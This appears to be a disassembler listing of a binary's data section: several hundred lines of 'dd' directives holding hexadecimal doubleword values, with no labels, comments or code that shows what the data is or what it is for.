		dd 0F9FAAA10h, 48D103ECh, 3B0444B7h, 8055657Ah,	98B479B2h
		dd 41A62507h, 3230FA62h, 5BE5E9h, 0FE06531Bh, 0CC437EF5h
		dd 0AEC6E600h, 0F30BD4Ch, 0E961C6Ch, 3D4F408Ch,	24F7683Ah
		dd 3E9C8300h, 0A0FD34E2h, 0BBA9000Dh, 1C5749A3h, 648BEC5h
		dd 8AC80034h, 2630DE80h, 0CDC6006Ch, 0E4E8E07Eh, 357C1E57h
		dd 5009C73h, 0A60DA2F1h, 1127082h, 0AFAB5CDDh, 30EC90B3h
		dd 46986E38h, 0E84A1400h, 2C34B880h, 94A800A2h,	6A08BD71h
		dd 9671DECAh, 637DC901h, 12ED1BECh, 7A00F428h, 7285B13h
		dd 0E9012467h, 7BD2836Dh, 14D88C9Fh, 0A1A03CD4h, 2201BF03h
		dd 0A8023EDh, 8300E273h, 3ABE5333h, 0EBC60CAh, 0F0F2036Bh
		dd 63BD0540h, 26074435h, 9532822h, 9061D520h, 298100E1h
		dd 13E31842h, 0AC00240Eh, 0A248D13Bh, 0A0BC931Ch, 57B07ACh
		dd 0FF0DD482h, 97AC040h, 16F222E3h, 0B8400491h,	17711C1h
		dd 511F06E2h, 80124E34h, 667DE310h, 1A61FDh, 0B7FC62A0h
		dd 9BB60E60h, 58503427h, 41730731h, 0B0930180h,	948CDAA3h
		dd 31BC4D1Dh, 2F6A5700h, 24F53Ch, 193022B5h, 4F55C725h
		dd 8306BF3Dh, 274420A3h, 67FAC80Fh, 7C17005Eh, 0E232BD2Ch
		dd 8D00A81Ah, 0D95F3FB9h, 1D66020h, 845E4339h, 0F8F07B83h
		dd 0AD00B8E3h, 0D853FF4Dh, 7EA56D9h, 6B31C97Ch,	0CB137006h
		dd 7700F527h, 0D02FDF09h, 0F24AFC5h, 0D1EF9B43h, 0E985AEC0h
		dd 3307D5A9h, 0C9F30D8Dh, 56107DF0h, 0F1B0099h,	0CE942838h
		dd 0D40353DFh, 9369FE5Eh, 6BE6B855h, 0E7AF001Ch, 3088A1C6h
		dd 741D7CB9h, 4D80A551h, 2B3B0C53h, 12AC928Ah, 0F2CC6BCh
		dd 821C74A5h, 0F5CDF1E9h, 3EF91843h, 0A12BF441h, 24001B77h
		dd 0BF53AFC6h, 0ECFAEF0h, 0F2896EDh, 0F5B73A80h, 94505B1Ah
		dd 30099D8h, 3846C41Ch,	360848h, 1EDE5EF6h, 686B5D47h
		dd 30EFF47Bh, 720E7624h, 52B04Bh, 0DF9D916Ch, 0A55008Bh
		dd 0F29BAA39h, 0FB00C620h, 3876727Eh, 171D3F4h,	0B527556Dh
		dd 0D0131B0Dh, 3C008B51h, 0F966BCECh, 778CA114h, 7BD8B745h
		dd 1E60A4EEh, 48F5CBF0h, 0AA0005Eh, 0BD8341A9h,	0B4003E3Ah
		dd 4E701F54h, 7561A6h, 1794ACF2h, 967260DEh, 0B60055EEh
		dd 4DD4F1AAh, 1C865Dh, 0C1564B71h, 0E2492210h, 0FB09B7E0h
		dd 0AEA7DFh, 9FBFE900h,	0D6C100B9h, 30EEAA4Eh, 80B4A2Bh
		dd 0DDB2BAAEh, 9F77D301h, 0FC0AEDF6h, 933B9249h, 7D241FE4h
		dd 32ABB180h, 3A43DE12h, 9A002C80h, 0C3E9D617h,	0A5008B44h
		dd 0F31E1022h, 326008h,	11473304h, 3B259D64h, 0AA2048h
		dd 8CA0FA3Fh, 16D3168Bh, 0D0CCDBh, 1ABC13C6h, 0BF487C55h
		dd 4F0100CAh, 0C3A62AD2h, 38C10354h, 702D52BDh,	0AE8AA4E8h
		dd 0CFD8B063h, 5C02D07Dh, 8EAC00ECh, 0EE263721h, 910558F7h
		dd 0F8D2F623h, 5C405080h, 865600DFh, 28B8BEBBh,	9600F1D3h
		dd 0EF3A7F60h, 12F5A284h, 6E5C51h, 43896C6Ch, 6100D9CDh
		dd 9B56D2B6h, 38EADA8h,	0A9BFE374h, 0C0D0031Ch,	3A2ADF59h
		dd 1416B4B2h, 4C4485A3h, 0A520D8AAh, 0F003459h,	7F94FEF0h
		dd 0F67471A6h, 0A9D002C1h, 7C6FDB67h, 0CEF2D60h, 87F1D916h
		dd 7201305Eh, 0A3EDD86h, 704530h, 0BCD81B31h, 94556AFBh
		dd 0DC86FA00h, 727166A1h, 3B64001Fh, 0D66B650Fh, 0BE717C0Bh
		dd 12830700h, 0AEF4FCEFh, 2E0C004Fh, 3E23058Eh,	0BF00725Ch
		dd 37AA1F3Ah, 7B656Dh, 0B85E581Eh, 8FC30EEFh, 15F5BD00h
		dd 0B5FB379Fh, 0F41E01E2h, 4B9D4873h, 44070EAh,	0CB89AD08h
		dd 0DC260091h, 0A74E41E1h, 0EC14B914h, 8E7500A7h, 2E5C817Ah
		dd 0CB09Bh, 3716C28Fh, 1DF0FA40h, 0D2FCC70Bh, 5848A083h
		dd 0E8742314h, 4A7F98h,	0CED62412h, 0E19CB47Ah,	68635D00h
		dd 560ADCC5h, 0B1C628D1h, 0E5D300C4h, 6DF70576h, 0B400DB4Ah
		dd 0D64C2D35h, 2DF4583h, 302CE25Dh, 39C0895Ah, 883CBC34h
		dd 778F1FB2h, 3DF6E841h, 530BBA3h, 0C33B008Ch, 82C6180Dh
		dd 8400B2CAh, 0E3FA5F06h, 8CC5AAh, 6C670B08h, 5869CE05h
		dd 461D3400h, 0B3C08694h, 0E265046Fh, 80C47733h, 0FD844F24h
		dd 9D72BF00h, 0D6D980E0h, 3B3C01CAh, 82A4AEDBh,	0FE4DF8BBh
		dd 1E246758h, 3381E9CEh, 62D0A7AAh, 93F424h, 6720A1A6h
		dd 0E94D1DFAh, 3DE2700h, 0B4AC2F0Ah, 891E0055h,	116123F4h
		dd 60041D4h, 9BB7AB86h,	30CD7B15h, 1DE2AA4Bh, 8F03D9ACh
		dd 63A7D257h, 0B093CCC9h, 0C0A0EC5Fh, 0C2154CE0h, 9E026A00h
		dd 92D58822h, 8004779h,	2CD020DCh, 0D4E80Fh, 988A6E0Bh
		dd 0B6285545h, 52ACE00h, 0E1D86FAEh, 8429486Dh,	0B7C45C04h
		dd 18B08CCFh, 0B076A100h, 3A528D60h, 400C07E4h,	609C486Ah
		dd 0CFE104FEh, 8E334A00h, 63B092B5h, 0F9D409D1h, 0B800235Dh
		dd 732C415Bh, 31F9900h,	69812DC4h, 1DE20074h, 7E068C10h
		dd 6A0076E7h, 0EFDBB6D0h, 1EA263Ch, 46B1446Fh, 808DC78Ah
		dd 0DD9DCCB8h, 91E44Ch,	0F1562F8Bh, 0C7CEDCE7h,	328CD700h
		dd 0ADB0AF6Ch, 3240011h, 1497D207h, 6E741E34h, 5CCCCA3Fh
		dd 6F8B0038h, 98A73B80h, 2CDE790Dh, 72AFF3h, 6D9AC73Eh
		dd 0A54DD1CEh, 82680020h, 7AC269C0h, 14700073h,	0AC6398DDh
		dd 0C7003C08h, 808D307Fh, 0B862945h, 0B573FC9Ch, 0ADF02820h
		dd 5400553Dh, 56EEF32Fh, 33AB02Bh, 808A9C75h, 0F01EF1FCh
		dd 1640ADBFh, 62B2D406h, 2FE8002Eh, 0A5D5CF63h,	27180DC5h
		dd 45E8D2B8h, 5B6500A6h, 0B6B73446h, 3374E6CCh,	0B9C94F00h
		dd 2F872167h, 9A5B0035h, 31EE6150h, 2D7AE006h, 0C24BEC06h
		dd 7AA3607h, 2071BC83h,	0B018E015h, 44002410h, 9D3D93CAh
		dd 1C03263Fh, 84862362h, 80ECB4FFh, 315B1B37h, 5201D494h
		dd 4EBB680Dh, 0BEC2D4h
		dd 0AE1B6536h, 0EF0EACABh, 0C3808D5Ah, 0EF59DE2h, 100DE3F6h
		dd 0C18CDB41h, 0FC88C5D4h, 1D006BCEh, 31F44C0Fh, 0E0719C8Eh
		dd 0C51C0FCFh, 244114BBh, 41BA1B1Fh, 0F0AC8080h, 0C20902CAh
		dd 0B6724Dh, 0AABCDF9Fh, 710A001Ah, 236DDAFAh, 0CB0C07FBh
		dd 0B0890225h, 7CEB5C5Eh, 7E8C7F80h, 311F2A80h,	69C0799Fh
		dd 38237019h, 78F20947h, 14008974h, 0C3F34AB7h,	6D0F4C7Bh
		dd 0A4935ECAh, 4C03F29h, 0B86BF83Dh, 0D0734Ch, 9B7BADEEh
		dd 0CAB6BAC3h, 26C4E200h, 0EAF7B3D2h, 0D6D4009Ah, 61955DD3h
		dd 7648D76Bh, 10850048h, 226DA7A3h, 0F4B7EA13h,	0A50600BFh
		dd 388E4740h, 697A2F17h, 3C045D7Fh, 0EA145AF5h,	29325FC0h
		dd 0FFD60307h, 136FF64Ch, 0C8DC2800h, 3F805EFh,	0A53B07D0h
		dd 0E07E43E5h, 0BAAC6A75h, 8420E407h, 0C8902523h, 115AFB2h
		dd 7B879AD6h, 0F55EEC8Dh, 0B78020B3h, 0DB88F400h, 466A059Ch
		dd 0AE7FF9h, 2953A9A6h,	0D2EE3F7Bh, 9BD8E41Eh, 0BB00D45Eh
		dd 0DE23B733h, 497D0158h, 5DF2F6FEh, 0D2CDF41Bh, 0E8B01172h
		dd 1AE08409h, 3F5444D4h, 1459AB48h, 3B709B00h, 1073CD04h
		dd 0EFCF6200h, 26443635h, 281800F2h, 6442DE08h,	712FCC80h
		dd 135FFCAFh, 0DC0000DBh, 0E1AEB488h, 0A0E29905h, 8A015C9h
		dd 40814EA6h, 0BF777894h, 0ECB20255h, 3513C097h, 0F6B0C2h
		dd 83D85141h, 0C9C846Ah, 26815200h, 7EA464F9h, 0D62C0496h
		dd 0C0723130h, 33CDED68h, 20AFE951h, 18008F28h,	0FF394E6Eh
		dd 65AD4BE5h, 80BF2873h, 5767B6F4h, 0ED1E98F6h,	3F40CFD6h
		dd 0D38CD869h, 229F002Fh, 49AD6232h, 9307A694h,	6EDDD63Ah
		dd 67A07DA0h, 7882003Ch, 774CF737h, 0C3FEB47Fh,	0CAF8C500h
		dd 18310A84h, 92E43Ch, 0E12B101h, 6A73F6C7h, 0FF20E100h
		dd 0AB61F7F9h, 717B0B81h, 0C508BA89h, 9CAF0090h, 0C366345h
		dd 516EB207h, 0E1D212D5h, 16ECE97Bh, 0A300A8BFh, 0C3383C3Bh
		dd 1B019F9Bh, 76C52146h, 3E305F66h, 0D5830523h,	1DB3DAAh
		dd 0A7688CF8h, 56CA10CEh, 0B3351EB9h, 0D072805Eh, 0F2D3551Ch
		dd 0C36CFE00h, 994DEBCh, 6521DBAh, 0E9F08937h, 0C4005C6Ch
		dd 0ECA48B9Fh, 0E2FA3296h, 2C290109h, 55BD0183h, 896C602Eh
		dd 0F60BF100h, 0D682E6D4h, 6DEE00E5h, 489808CFh, 89E879DEh
		dd 9627B700h, 0F6A88690h, 24731Ch, 0E1EEFCD3h, 69976081h
		dd 96F33F00h, 706FA74Fh, 0ABBD0063h, 0B181C3BEh, 0F70F6405h
		dd 6156E30Ah, 22C69079h, 97E5BEC8h, 0B8A9FD40h,	2AC40600h
		dd 0BA21E69Eh, 0C08C3338h, 46F8F720h, 5F004D8Fh, 976CF075h
		dd 35EF51Ch, 4BC88ACh, 0E0DCFCB0h, 20C04E8Ch, 8EB9EB1Ah
		dd 40E8968Fh, 628583BAh, 23001074h, 228017E8h, 467B9Bh
		dd 0EE149A1Dh, 7262DD96h, 6401C1E8h, 770F9771h,	7864BE8Ch
		dd 335178ACh, 1C1198DEh, 0D26BA1E0h, 183DCE12h,	0C59EA440h
		dd 0E281091h, 0C0165992h, 0FB80FE9Ch, 27E63DA0h, 230F4833h
		dd 0A7B60122h, 0C0C07B57h, 0A25EC5h, 66AEF73Eh,	3F60F87Dh
		dd 2BC20500h, 41521A0Dh, 0E9FE0077h, 9AB32F2Ch,	130251AFh
		dd 79EA81CDh, 0C0D8E5h,	0FE636168h, 0A6882CC8h,	4D22B500h
		dd 8BEF9F1Ah, 0FC98C014h, 0FA34FD16h, 38EA1331h, 0C2D5E7Eh
		dd 0B3372E00h, 42C3C899h, 0E7D6F100h, 0BE05B9FEh, 9E2700C6h
		dd 0AF0290F7h, 0B51D5288h, 9A017576h, 3EA01B95h, 2FFCD0h
		dd 430EAFD3h, 0A73148EFh, 9EDD8000h, 0DEE6D234h, 6FF90E99h
		dd 0B4C776F0h, 1E9D808Eh, 2807076Ch, 62BF9371h,	66C04B25h
		dd 2D4582h, 246469DDh, 660B4DF5h, 80ACBA38h, 0B0E783BFh
		dd 16DC0BDh, 981CF0DDh,	0E8D3460Bh, 6F07CDB4h, 0C3BF9982h
		dd 0A4ECAB41h, 5D427E4h, 96111EA6h, 84DC0024h, 0FEACE88Fh
		dd 8B36743Eh, 0C026CA72h, 0D4379Ch, 0C0B5D93h, 0E3AF102Fh
		dd 70679900h, 0C897A8A3h, 0FCB2FEh, 71CDFA8Bh, 0AC837485h
		dd 95E6651Dh, 897F6F80h, 187DC1E3h, 302E1B5Fh, 39C0F94Bh
		dd 66C871E8h, 0A2A71C60h, 6D830063h, 4DDE8250h,	4C2FDD00h
		dd 7E62EAD1h, 0F12B012Ah, 0BA26DA79h, 85E05012h, 0FE00B275h
		dd 0CAC641E7h, 7E0FDA5h, 766E7D9Ah, 392A409Bh, 25F2139Ch
		dd 0A338B401h, 0E4F63B34h, 1351C24h, 0A403C024h, 0C0B6672Bh
		dd 44C127ACh, 16DB096Bh, 92E164DCh, 1CF658B4h, 74983880h
		dd 33078B79h, 5A404353h, 0B8978801h, 25B51E80h,	7A8DCC5Ch
		dd 35A42D00h, 10AD3985h, 102E6744h, 5704CAE3h, 72C08E83h
		dd 0DEBBE04Bh, 0E007004Eh, 29C24F5Ch, 75072D61h, 941B5BDAh
		dd 6A1F30C0h, 0A2163638h, 29C7FC29h, 8885556h, 449E25B4h
		dd 288750A2h, 2951624Ah, 0AE222608h, 0C163224Fh, 0B580D905h
		dd 73D9EE7h, 0D142AAB2h, 1E17B183h, 0F4D7DC0Bh,	0C74BCD00h
		dd 0C0F6EF63h, 7CFE41Ch, 174ED997h, 0BE18C055h,	6D00B465h
		dd 0CD8B7D6Fh, 15DC453h, 0EB346228h, 0DCF1FA67h, 0FDF856FFh
		dd 0C856000h, 68CE5843h, 823D007Dh, 0CFE21A7Ch,	0CC005F22h
		dd 0C1C536BCh, 4A864Fh,	0FCA0B81h, 0DC2C0E62h, 1D1F9607h
		dd 9D0E1149h, 982B83FFh, 1FF9C3FEh, 0C06D1710h,	12F245A7h
		dd 1C544BB5h, 790065C4h, 3ED39FF6h, 38B1CEF9h, 588622EBh
		dd 10CCE773h, 4BC71E02h, 3CFB2A8h, 1688EA2Ch, 0EF01351Ah
		dd 68BDDB6Eh, 0EC413B07h, 40203CF1h, 0F87F22h, 32D68CF2h
		dd 2687EC8Fh, 0E800E8B8h, 0E1626340h, 0ACC884h,	0A7429904h
		dd 2E0FAABFh, 5A8DC201h, 0BB92494Ah, 754FCCh, 0E2854C9Ch
		dd 0A20B51Ah, 56A9C024h, 0A032E900h, 724E31BEh,	7349CE1Eh
		dd 5003D080h, 59003D20h, 6A4BC1C4h, 0F547E8h, 52355D48h
		dd 22F224F3h, 0D9A922Eh, 6CC8BD00h, 509629h, 0FEAE15EAh
		dd 0DD84058Ah, 0B9E82D00h, 908FBDE1h, 0C23C0055h, 66A67E5Bh
		dd 0A1FA941Dh, 490047FEh, 1B57D9B0h, 0B361D1h, 0B82208A8h
		dd 7FD5DBC2h, 0FD8DC30Fh, 0A374A0B6h, 111942h, 45CE6E88h
		dd 0BA831EA7h, 0B84DDF24h, 0FB8DEE00h, 1EFC6408h, 8120CCADh
		dd 70F85D9Dh, 0AE3EE4CFh, 0CD0A300h, 6689AC23h,	0C29D0365h
		dd 1E02B377h, 5B3781C8h, 470F3B00h, 4F32CD19h, 35B833h
		dd 0A93CE61Dh, 7A7C9A7Eh, 8CE2C200h, 1699120Fh,	0C040F3D4h
		dd 438E37h, 0F4F6F230h,	64105218h, 0F7A9AD00h, 7D2CCBD0h
		dd 16FCF9B7h, 10FD604Fh, 0CFBA569Bh, 8909E6B8h,	2E40648Ch
		dd 0EE0BA0F8h, 3CACB16h, 9E98DB12h, 7BD9F9B2h, 0FF24E8B4h
		dd 72009C71h, 4BA2704Dh, 0BA1BF4Ah, 0DB0F5775h,	54C7AA0Eh
		dd 29E3E055h, 0EC3F184Bh, 0B11000C7h, 99C2A61h,	0AEDB006Ch
		dd 0D0AB408h, 8B016842h, 3979DF6Eh, 8820761Bh, 18F8008Eh
		dd 0F669C70h, 90636B6h,	0A89EF985h, 0D5DE0030h,	0C7C62C1Fh
		dd 43007C49h, 9428C90Bh, 0F6F2F6ACh, 4F7D65h, 0A812E3CAh
		dd 0D14D61D9h, 3A78B3Ah, 0F7FF2AE1h, 0D7A0807Fh, 0E4A63E17h
		dd 0D23EB848h, 4D46BA8h, 88B319F4h, 678E402Ah, 321A012h
		dd 2D30605Eh, 6C93BAB7h, 0FFE3A480h, 0EDF67800h, 9859DA1h
		dd 0B5BC00F2h, 0A6EF103Dh, 0A071182h, 0ED9E0CB8h, 0D021AD43h
		dd 0EE8954Ah, 76806C06h, 469A0440h, 7507FFD8h, 0D6423F10h
		dd 29A23A00h, 72C901DBh, 21A7D07h, 324FFCE4h, 0EEAF340Fh
		dd 33490E0Ch, 0E1B03907h, 1280F7E0h, 30F00092h,	1CD96084h
		dd 0EE1FD896h, 0E7C0B15Ch, 168DE028h, 8721000Bh, 0F302DCA0h
		dd 0AA00B9CAh, 259D7DF8h
		dd 0BFC215h, 240FC955h,	0EB802A08h, 1C29A43Fh, 0CC726B6h
		dd 0F3F01810h, 7176AE4h, 0D4ECF9Ah, 1422A09Fh, 8A00CB36h
		dd 4F92E4Ch, 4150C2h, 0F1A99DCEh, 87B3B066h, 62E8D10Dh
		dd 6A603060h, 0F05607ABh, 941B4C19h, 0DCF4C055h, 0EC0FFCF9h
		dd 0A064CA92h, 9752BF31h, 583F0082h, 0D603FB9Eh, 32009A85h
		dd 0C48BB8Ch, 0EE3C12C1h, 4F830015h, 3E61E8EBh,	0B900AD47h
		dd 4863147Ch, 6027C3h, 6966BFE3h, 160B17AEh, 0A9C1FA00h
		dd 26444F28h, 68180061h, 0A30CB6F0h, 0C600EDF2h, 0BFFA2499h
		dd 0FA9A071Bh, 0E35F0FECh, 0B8873FA9h, 4590B02Fh, 3B7A7131h
		dd 0FBDCDF01h, 0ED8702A7h, 72DEC8h, 0A85BEF42h,	4BB7E18Fh
		dd 765F251Ch, 0C1D36800h, 28090C47h, 0DC7F56h, 6C2FFA28h
		dd 4D9FE689h, 3F69A00h,	0C8465DB3h, 2AF200F0h, 1E9C02F3h
		dd 0D3008DE2h, 0F84489DCh, 637DC5h, 34F1D9A6h, 5B860550h
		dd 62F43200h, 0E032DBBh, 8CFC4Dh, 0A206A7B5h, 57F9BC76h
		dd 3C00CBF4h, 0D2F87C2Dh, 0B04CFCh, 71F2AC24h, 289C4D1Ch
		dd 6DD5B903h, 4BA5A4h, 29419E10h, 601FBC02h, 0EC000677h
		dd 6ECB137Fh, 45230A5h,	0DD97A785h, 0BFD3C062h,	0E300419Bh
		dd 7C8095C6h, 0E3A4CCF1h, 3FCC5F1h, 1BED1C70h, 2A308062h
		dd 0AE09C1A2h, 0CE7DE8FDh, 23C64F00h, 0D12C75C3h, 130EA1Fh
		dd 9A0CE1F4h, 3B811633h, 0B1C66900h, 38263F0h, 8474F3Eh
		dd 5DB8296Bh, 73007CB4h, 229DDB2Dh, 0D61572h, 6B1DA1FFh
		dd 6C26EB16h, 0EFBE1E00h, 0BDE742B1h, 0D9040015h, 4437760Bh
		dd 9574516Dh, 6A927007h, 0E510BBDAh, 2C248014h,	52D383h
		dd 0F4A407E0h, 0B6784759h, 0C406AAE0h, 9C78EF01h, 567D2E98h
		dd 6F4E001Dh, 0B0A477C7h, 105BD00Eh, 0D4C446F3h, 0C3E74429h
		dd 8FDA2538h, 0E0AAC66Ah, 5E3F03C8h, 0CA72008Dh, 0F8299A9Bh
		dd 0FE008F77h, 0CE1DDF97h, 3044070h, 0BBFCBA93h, 22E0D460h
		dd 0F958E14Ch, 0B226007Eh, 0D378A95Ah, 50580314h, 4A1D4BB0h
		dd 36EAA4F8h, 91B2200Eh, 5CACA0DAh, 1C5E3C64h, 0C496A9CCh
		dd 0C033D558h, 1016C3CCh, 812A760Ah, 0E19EBCEBh, 0E2587E03h
		dd 801FC0B7h, 14153977h, 8A5F1900h, 0DBF33844h,	208A100h
		dd 0B97CF548h, 30E0670Eh, 0B6F23057h, 0D0008111h, 99CE6C19h
		dd 631884h, 0E9D80D65h,	7168FE2Ah, 0EFD70B00h, 9872E0B2h
		dd 75B10015h, 2976CF5Bh, 8A005849h, 20871E48h, 21343EEh
		dd 2E2DDAC7h, 80FF7072h, 0F1D7AB70h, 493B023Fh,	5C6DBE5Eh
		dd 80AFD041h, 5D7BF329h, 9C2C47h, 0B422D4C2h, 490F538Fh
		dd 0E85E2500h, 0A0E93799h, 504BEE4Ah, 1DB780CFh, 6A595Bh
		dd 0ECB9A6C0h, 18B87640h, 0B641F400h, 0DBC50B58h, 626F0F25h
		dd 0DE4034E6h, 0A1218D9h, 1589BB00h, 0F7EAA58Fh, 74DA0077h
		dd 0A6AE4B35h, 0D9FE3EF4h, 0DD2CEF00h, 0DBFFF2Fh, 9A4301AFh
		dd 4EBAA08Fh, 0DF7EDC81h, 858CA200h, 37EA890Bh,	0C8D075Dh
		dd 509D0690h, 0FDC487C3h, 8400CB78h, 0D75136DBh, 8CEE40h
		dd 8196B7Fh, 498568CAh,	0BB79E100h, 64435AC3h, 899B00CBh
		dd 3132621h, 9AB0B227h,	10230407h, 0E940C8DBh, 0CF6A91h
		dd 5EA4739Ch, 572ACA2Eh, 44C47114h, 0AF1300B4h,	0BB4683E9h
		dd 725B1491h, 0E6009CECh, 38A90964h, 0A492FFF9h, 318E0A00h
		dd 0A096E406h, 70D6E2CCh, 3CE5047Dh, 81298F02h,	5138D207h
		dd 4243D3B0h, 544072D9h, 0D700A736h, 4EF76774h,	79ACFh
		dd 0C6C89DC7h, 1B4BF88h, 0B626D700h, 8F940487h,	11732489h
		dd 75E00778h, 90D5B47Ch, 469EFD44h, 84020D76h, 7253A750h
		dd 806841CEh, 303D63F4h, 410D37Fh, 2B90D1A5h, 747CD200h
		dd 0CA5EC53Eh, 9D8401FEh, 0A76D622Ah, 0F8DDD8F9h, 163B2605h
		dd 858156F6h, 9883BF89h, 0D5AFFA77h, 63B15000h,	2EE8A6F1h
		dd 5B79002Bh, 26202C62h, 8E0682C2h, 4F323095h, 23250038h
		dd 945874BCh, 6801E44Eh, 7D417B44h, 0D8AC1B1Fh,	0AF7A0011h
		dd 69B0F1A4h, 62878C00h, 0DD157174h, 27490089h,	0B1CFFD2Eh
		dd 7F0B1D35h, 42224h, 0C10FD734h, 4E831EDEh, 0E3E0C045h
		dd 0E95F528Eh, 3C8A3Bh,	4DDF9EC4h, 39B49F60h, 6E80B767h
		dd 93187658h, 6002E8Dh,	378E1CE7h, 7412F57Bh, 42F694h
		dd 971B5D4Dh, 514ADEB2h, 0EE2FF900h, 0BF7ACF19h, 16FE0053h
		dd 0BC71CD36h, 5D038DB7h, 0CCFC39CEh, 0D030173Eh, 8BF5002Ah
		dd 0C924F629h, 45C74526h, 0BE6E3001h, 0AA209B21h, 1B180008h
		dd 0F1E6538Dh, 9D76F761h, 5A56C006h, 1D21F2D3h,	40827C0Dh
		dd 0EA3B0BB5h, 60605132h, 87B8CB50h, 3DE100ACh,	759DCCC6h
		dd 9F077925h, 8EC84AD7h, 1480C064h, 1EA52B2Ch, 0F869111h
		dd 0A42041C9h, 0E766B072h, 0B4F2B430h, 722236F1h, 0E9EA007Bh
		dd 0DC6D5A6Ah, 3400801Ah, 12A0974h, 8C1E44h, 8A84831Bh
		dd 0D2DF5890h, 0AF264D01h, 0F48556ACh, 1207D1D0h, 0BACAB051h
		dd 0B7F78E00h, 2524Fh, 0FD485033h, 0E6AC9ED9h, 0EB9D29C0h
		dd 7DC8641h, 2916AB05h,	1ADF500Bh, 2303B399h, 114B85A0h
		dd 587DA0F9h, 0BD140060h, 668333E2h, 0FD006A96h, 0F854E628h
		dd 0E824Ch, 7BC907EAh, 0B67DBFB9h, 33EAC1Fh, 0E0012D8Eh
		dd 9DF5098h, 301A0EA4h,	92E1E1E9h, 2B1C9E10h, 0EFAB7500h
		dd 0A8E523h, 0B5D495C8h, 0FC3ADF02h, 802D303Dh,	0AFC2C389h
		dd 5E19FBh, 79F38B5Fh, 5568C543h, 9DEAEC01h, 9675824Ah
		dd 2A35DDCCh, 0D8BAC6h,	0F285FA07h, 2A72022Bh, 0A6A80300h
		dd 31B07DA7h, 74060F48h, 0C74045DBh, 4C17943Bh,	8518771Ch
		dd 38A18600h, 0C067ECD1h, 4893760Ch, 629D37C6h,	814080F2h
		dd 3017CBF9h, 1D10B835h, 56013E77h, 24E1B469h, 482448EEh
		dd 0B96C0C1Ah, 0C288D10h, 0A913E1FAh, 0FE01A0BFh, 668F914h
		dd 0D8F2E480h, 78F6A2Fh, 0A100EDF0h, 41CE1346h,	1F3EEAC2h
		dd 0B937D4E6h, 60D0A27Bh, 192D7071h, 0D01F6B97h, 12F6CC93h
		dd 0FB0F0705h, 0B200F4C8h, 6FF090Ah, 0AAE22CA0h, 29220099h
		dd 39DC0197h, 8D004CEEh, 36940D28h, 901652F4h, 4850C59Ch
		dd 72B70053h, 0CA9CAD8Ch, 6D1B3F00h, 0F8FAB78Eh, 0D90F0058h
		dd 7996F057h, 34068552h, 1DD60865h, 41F1F40h, 9B6C413Ah
		dd 0E85D026Ah, 0C2FA1A61h, 4A025490h, 99895347h, 49A80ADh
		dd 0F6672AFBh, 0C3312410h, 0DA7F003Ch, 0F89507F1h, 39B6000h
		dd 2B049F88h, 630C04BCh, 8168C328h, 0D86AE74Ch,	1F3E5EBEh
		dd 2F53806Dh, 0BCAD43E2h, 3BE6A077h, 69CA062h, 0FB130042h
		dd 0ABCA8358h, 357DE91Dh, 6E256100h, 5B1C451Bh,	7D84F413h
		dd 0CE911C88h, 39E100F5h, 92C3952Ah, 10CB9C04h,	0BAC33B1Bh
		dd 5EC0D0B9h, 7A4A1EB6h, 878D5DB3h, 2F1E9561h, 4B81310Eh
		dd 40A320D6h, 12B83CCDh, 81985D0Eh, 71CCE059h, 67EAC7h
		dd 4B700A7Ch, 6038C8E0h, 52E92800h, 0B6038331h,	74D307D7h
		dd 2CFC08Ch, 0B4807FFDh, 0F70A70FAh, 9C265804h,	6680979Bh
		dd 0B0B1401Bh, 1D2C300Dh, 0AC70AF10h, 17F01A00h, 583055EBh
		dd 51920032h, 6DB88A10h, 4300A459h, 899E2537h, 9D76C9Dh
		dd 7ED0A68h, 0A7526001h, 9804FC8Fh, 48902875h, 0A263F704h
		dd 5C803A7Fh, 0DAE90Ah,	0E2A6EDFDh, 2AC12D3Eh, 0A8FC4Dh
		dd 9327193Bh, 0B28F36h,	121C51CCh, 8C5514F8h, 7F3C58F6h
		dd 284876h, 0A7CF6471h,	4CD0686Fh, 490408DEh, 0C0748C82h
		dd 0FF485DBCh, 0AF250400h
		dd 0DE0FD8F6h, 0EB1C001Fh, 83321EA3h, 0F200874Bh, 40D21AC2h
		dd 0CDE315h, 0FB74E1CFh, 0DFA7E72Dh, 603B3400h,	52C18303h
		dd 9280F742h, 0E4B654B7h, 0C40057AEh, 5B5DFA27h, 0A038E146h
		dd 398DE84h, 1FAC03D2h,	80B82D91h, 4E008F74h, 874D2A37h
		dd 776F2079h, 18F20BB9h, 770F045Ch, 0CDC4A480h,	9C0066DCh
		dd 0AC347652h, 0D24596h, 0BB89C62Ah, 0D1F9F5DAh, 6AB9D8C7h
		dd 0E723DF10h, 0DB32A29h, 0A8D0FFA4h, 379F0062h, 0CDA5A60Ch
		dd 750EF647h, 0CBF381h,	0B01D2045h, 76590072h, 284A6B99h
		dd 0B700A304h, 0F6927FD4h, 0E041C711h, 172722Fh, 21FB099Dh
		dd 3671EC8Dh, 0B2DE072Ch, 0F00EAFCh, 0E36E2FFh,	100B5963h
		dd 3C156DA2h, 5C00446Eh, 0F5D48195h, 66FDA5h, 2732DE49h
		dd 9108DCEFh, 0CED7A909h, 0F8790720h, 6F9F6AE0h, 7CBF0112h
		dd 0A884F6C6h, 4CA820C0h, 0D514A900h, 53BEE06h,	83CB1D8Fh
		dd 1C1EFDDAh, 0F5BA80C4h, 0A8F7A5EFh, 8B3C3Fh, 2BC17609h
		dd 0ACDFBDh, 508D9FAAh,	2EA47ECEh, 0CEE2500h, 0FDD47B42h
		dd 0A779E0h, 9D62C1CCh,	7F3AED08h, 95306800h, 84019B27h
		dd 97110152h, 92077C70h, 3FA4F422h, 9B483901h, 3C5F2DF6h
		dd 0F1C0B8F3h, 0FD770088h, 0DFB44082h, 6100D415h, 5BED7EA5h
		dd 0EA8D4FB5h, 0CB09Ah,	2F17AE60h, 862DD635h, 9145A00h
		dd 0E128E351h, 0A9540079h, 0A6114233h, 0D27C0566h, 0AC2AA00h
		dd 5782ED68h, 412A00A2h, 265FEE8Eh, 9C702D43h, 0D62C0A00h
		dd 0ABFB30CBh, 7FA030DAh, 0E5963C71h, 62D7E001h, 167341E3h
		dd 282070E1h, 746178E1h, 428F1F2Ch, 186318BFh, 81FF17D9h
		dd 14721841h, 881FB3Ch,	4A77B508h, 0F002E961h, 30CBFFDh
		dd 30855540h, 625F18EBh, 0DA0258DBh, 3C910D03h,	0E7EF9960h
		dd 9A30E086h, 0E5F50764h, 0A2F79D47h, 0C80D9E3h, 18611FFDh
		dd 3C05D200h, 1AA0459Bh, 0FA3E07BFh, 208878DDh,	96EF6F7Dh
		dd 97173Bh, 0C0639EA5h,	0B058D96Eh, 74B40705h, 30550729h
